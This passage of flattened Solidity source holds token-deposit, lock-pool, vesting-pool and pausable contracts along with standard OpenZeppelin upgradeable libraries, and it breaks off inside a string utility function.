* mechanism that can be triggered by an authorized account.
*/
abstract contract Suspendable is
Initializable,
AccessControlUpgradeable,
PausableUpgradeable
{
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @notice Initializer
* @param _pauser: the address of the account granted with PAUSER_ROLE
*/
function __Suspendable_init(address _pauser) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__Pausable_init_unchained();
__Suspendable_init_unchained(_pauser);
}
function __Suspendable_init_unchained(address _pauser)
internal
onlyInitializing
{
_setupRole(PAUSER_ROLE, _pauser);
}
/**
* @dev Returns true if the contract is suspended/paused, and false otherwise.
*/
function suspended() public view virtual returns (bool) {
return paused();
}
/**
* @notice suspend/pause the contract.
* Only callable by members of PAUSER_ROLE
*/
function suspend() external onlyRole(PAUSER_ROLE) {
_pause();
}
/**
* @notice resume/unpause the contract.
* Only callable by members of PAUSER_ROLE
*/
function resume() external onlyRole(PAUSER_ROLE) {
_unpause();
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "./PoolVestingable.sol";
import "./Depositable.sol";
/** @title PoolVestingDepositable.
@dev This contract manage deposits in vesting pools
*/
abstract contract PoolVestingDepositable is
Initializable,
PoolVestingable,
Depositable
{
using SafeMathUpgradeable for uint256;
struct UserVestingPoolDeposit {
uint256 initialAmount; // initial amount deposited in the pool
uint256 withdrawnAmount; // amount already withdrawn from the pool
}
// mapping of deposits for a user
// user -> pool index -> user deposit
mapping(address => mapping(uint256 => UserVestingPoolDeposit))
private _poolDeposits;
/**
* @dev Emitted when a user deposit in a pool
*/
event VestingPoolDeposit(
address indexed from,
address indexed to,
uint256 amount,
uint256 poolIndex
);
/**
* @dev Emitted when a user withdraw from a pool
*/
event VestingPoolWithdraw(
address indexed to,
uint256 amount,
uint256 poolIndex
);
/**
* @notice Initializer
* @param _depositToken: the deposited token
*/
function __PoolVestingDepositable_init(IERC20Upgradeable _depositToken)
internal
onlyInitializing
{
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__PoolVestingable_init_unchained();
__Depositable_init_unchained(_depositToken);
__PoolVestingDepositable_init_unchained();
}
function __PoolVestingDepositable_init_unchained()
internal
onlyInitializing
{}
/**
* @dev returns the vested amount of a pool deposit
*/
function _vestedAmountOf(address account, uint256 poolIndex)
private
view
returns (uint256 vestedAmount)
{
VestingPool memory pool = getVestingPool(poolIndex);
for (uint256 i = 0; i < pool.timestamps.length; i++) {
if (block.timestamp >= pool.timestamps[i]) {
// this schedule is reached, calculate its amount
uint256 scheduleAmount = _poolDeposits[account][poolIndex]
.initialAmount
.mul(pool.ratiosPerHundredThousand[i])
.div(100000);
// add it to vested amount
vestedAmount = vestedAmount.add(scheduleAmount);
}
}
}
/**
* @dev returns the amount that can be withdraw from a pool deposit
*/
function _withdrawableAmountOf(address account, uint256 poolIndex)
private
view
returns (uint256)
{
require(
poolIndex < vestingPoolsLength(),
"PoolVestingDepositable: Invalid poolIndex"
);
return
_vestedAmountOf(account, poolIndex).sub(
_poolDeposits[account][poolIndex].withdrawnAmount
);
}
/**
* @dev returns the list of pool deposits for an account
*/
function vestingPoolDepositOf(address account, uint256 poolIndex)
external
view
returns (UserVestingPoolDeposit memory)
{
require(
poolIndex < vestingPoolsLength(),
"PoolVestingDepositable: Invalid poolIndex"
);
return _poolDeposits[account][poolIndex];
}
/**
* @dev returns vested amount of an account for a specific pool. Public version
*/
function vestingPoolVestedAmountOf(address account, uint256 poolIndex)
external
view
returns (uint256)
{
return _vestedAmountOf(account, poolIndex);
}
/**
* @dev returns the amount that can be withdraw from a pool
*/
function vestingPoolWithdrawableAmountOf(address account, uint256 poolIndex)
external
view
returns (uint256)
{
return _withdrawableAmountOf(account, poolIndex);
}
// block the default implementation
function _deposit(
address,
address,
uint256
) internal pure virtual override returns (uint256) {
revert("PoolVestingDepositable: Must deposit with poolIndex");
}
// block the default implementation
function _withdraw(address, uint256)
internal
pure
virtual
override
returns (uint256)
{
revert("PoolVestingDepositable: Must withdraw with poolIndex");
}
/**
* @dev Deposit tokens to pool at `poolIndex`
*/
function _savePoolDeposit(
address from,
address to,
uint256 amount,
uint256 poolIndex
) private {
require(
poolIndex < vestingPoolsLength(),
"PoolVestingDepositable: Invalid poolIndex"
);
UserVestingPoolDeposit storage poolDeposit = _poolDeposits[to][
poolIndex
];
poolDeposit.initialAmount = poolDeposit.initialAmount.add(amount);
emit VestingPoolDeposit(from, to, amount, poolIndex);
}
/**
* @dev Batch deposit tokens to pool at `poolIndex`
*/
function _batchDeposits(
address from,
address[] memory to,
uint256[] memory amounts,
uint256 poolIndex
) internal virtual returns (uint256) {
require(
to.length == amounts.length,
"PoolVestingDepositable: arrays to and amounts have different length"
);
uint256 totalTransferredAmount = 0;
for (uint256 i = 0; i < amounts.length; i++) {
uint256 transferredAmount = Depositable._deposit(
from,
to[i],
amounts[i]
);
_savePoolDeposit(from, to[i], transferredAmount, poolIndex);
totalTransferredAmount = totalTransferredAmount.add(
transferredAmount
);
}
return totalTransferredAmount;
}
/**
* @dev Withdraw tokens from pool at `poolIndex`
*/
function _withdraw(
address to,
uint256 amount,
uint256 poolIndex
) internal virtual returns (uint256) {
require(
poolIndex < vestingPoolsLength(),
"PoolVestingDepositable: Invalid poolIndex"
);
UserVestingPoolDeposit storage poolDeposit = _poolDeposits[to][
poolIndex
];
uint256 withdrawableAmount = _withdrawableAmountOf(to, poolIndex);
require(
withdrawableAmount >= amount,
"PoolVestingDepositable: Withdrawable amount less than amount to withdraw"
);
require(
withdrawableAmount > 0,
"PoolVestingDepositable: No withdrawable amount to withdraw"
);
uint256 withdrawAmount = Depositable._withdraw(to, amount);
poolDeposit.withdrawnAmount = poolDeposit.withdrawnAmount.add(
withdrawAmount
);
emit VestingPoolWithdraw(to, amount, poolIndex);
return withdrawAmount;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
/** @title Poolable.
@dev This contract manage configuration of pools
*/
abstract contract Poolable is Initializable, AccessControlUpgradeable {
using SafeMathUpgradeable for uint256;
struct Pool {
uint256 lockDuration; // locked timespan
bool opened; // flag indicating if the pool is open
}
// pools mapping
mapping(uint256 => Pool) private _pools;
uint256 public poolsLength;
/**
* @dev Emitted when a pool is created
*/
event PoolAdded(uint256 poolIndex, Pool pool);
/**
* @dev Emitted when a pool is updated
*/
event PoolUpdated(uint256 poolIndex, Pool pool);
/**
* @dev Modifier that checks that the pool at index `poolIndex` is open
*/
modifier whenPoolOpened(uint256 poolIndex) {
require(poolIndex < poolsLength, "Poolable: Invalid poolIndex");
require(_pools[poolIndex].opened, "Poolable: Pool is closed");
_;
}
/**
* @dev Modifier that checks that the now() - `depositDate` is above or equal to the min lock duration for pool at index `poolIndex`
*/
modifier whenUnlocked(uint256 poolIndex, uint256 depositDate) {
require(poolIndex < poolsLength, "Poolable: Invalid poolIndex");
require(
depositDate < block.timestamp,
"Poolable: Invalid deposit date"
);
require(
block.timestamp - depositDate >= _pools[poolIndex].lockDuration,
"Poolable: Not unlocked"
);
_;
}
/**
* @notice Initializer
*/
function __Poolable_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__Poolable_init_unchained();
}
function __Poolable_init_unchained() internal onlyInitializing {}
function getPool(uint256 poolIndex) public view returns (Pool memory) {
require(poolIndex < poolsLength, "Poolable: Invalid poolIndex");
return _pools[poolIndex];
}
function addPool(Pool calldata pool) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 poolIndex = poolsLength;
_pools[poolIndex] = Pool({
lockDuration: pool.lockDuration,
opened: pool.opened
});
poolsLength = poolsLength + 1;
emit PoolAdded(poolIndex, _pools[poolIndex]);
}
function updatePool(uint256 poolIndex, Pool calldata pool)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(poolIndex < poolsLength, "Poolable: Invalid poolIndex");
Pool storage editedPool = _pools[poolIndex];
editedPool.lockDuration = pool.lockDuration;
editedPool.opened = pool.opened;
emit PoolUpdated(poolIndex, editedPool);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
/** @title Depositable.
@dev It is a contract that allow to deposit an ERC20 token
*/
abstract contract Depositable is Initializable, AccessControlUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
using SafeMathUpgradeable for uint256;
// Map of deposits per address
mapping(address => uint256) private _deposits;
// the deposited token
IERC20Upgradeable public depositToken;
// the total amount deposited
uint256 public totalDeposit;
/**
* @dev Emitted when `amount` tokens are deposited to account (`to`)
* Note that `amount` may be zero.
*/
event Deposit(address indexed from, address indexed to, uint256 amount);
/**
* @dev Emitted when `amount` tokens are withdrawn to account (`to`)
* Note that `amount` may be zero.
*/
event Withdraw(address indexed to, uint256 amount);
/**
* @dev Emitted when the deposited token is changed by the admin
*/
event DepositTokenChange(address indexed token);
/**
* @notice Intializer
* @param _depositToken: the deposited token
*/
function __Depositable_init(IERC20Upgradeable _depositToken)
internal
onlyInitializing
{
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__Depositable_init_unchained(_depositToken);
}
function __Depositable_init_unchained(IERC20Upgradeable _depositToken)
internal
onlyInitializing
{
depositToken = _depositToken;
}
/**
* @dev Handle the deposit (transfer) of `amount` tokens from the `from` address
* The contract must be approved to spend the tokens from the `from` address before calling this function
* @param from: the depositor address
* @param to: the credited address
* @param amount: amount of token to deposit
* @return the amount deposited
*/
function _deposit(
address from,
address to,
uint256 amount
) internal virtual returns (uint256) {
// transfer tokens and check the real amount received
uint256 balance = depositToken.balanceOf(address(this));
depositToken.safeTransferFrom(from, address(this), amount);
uint256 newBalance = depositToken.balanceOf(address(this));
// replace amount by the real transferred amount
amount = newBalance.sub(balance);
// save deposit
_deposits[to] = _deposits[to].add(amount);
totalDeposit = totalDeposit.add(amount);
emit Deposit(from, to, amount);
return amount;
}
/**
* @dev Remove `amount` tokens from the `to` address deposit balance, and transfer the tokens to the `to` address
* @param to: the destination address
* @param amount: amount of token to deposit
* @return the amount withdrawn
*/
function _withdraw(address to, uint256 amount)
internal
virtual
returns (uint256)
{
require(amount <= _deposits[to], "Depositable: amount too high");
_deposits[to] = _deposits[to].sub(amount);
totalDeposit = totalDeposit.sub(amount);
depositToken.safeTransfer(to, amount);
emit Withdraw(to, amount);
return amount;
}
/**
* @notice get the total amount deposited by an address
*/
function depositOf(address _address) public view virtual returns (uint256) {
return _deposits[_address];
}
/**
* @notice Change the deposited token
*/
function changeDepositToken(IERC20Upgradeable _depositToken)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(totalDeposit == 0, "Depositable: total deposit != 0");
depositToken = _depositToken;
emit DepositTokenChange(address(_depositToken));
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
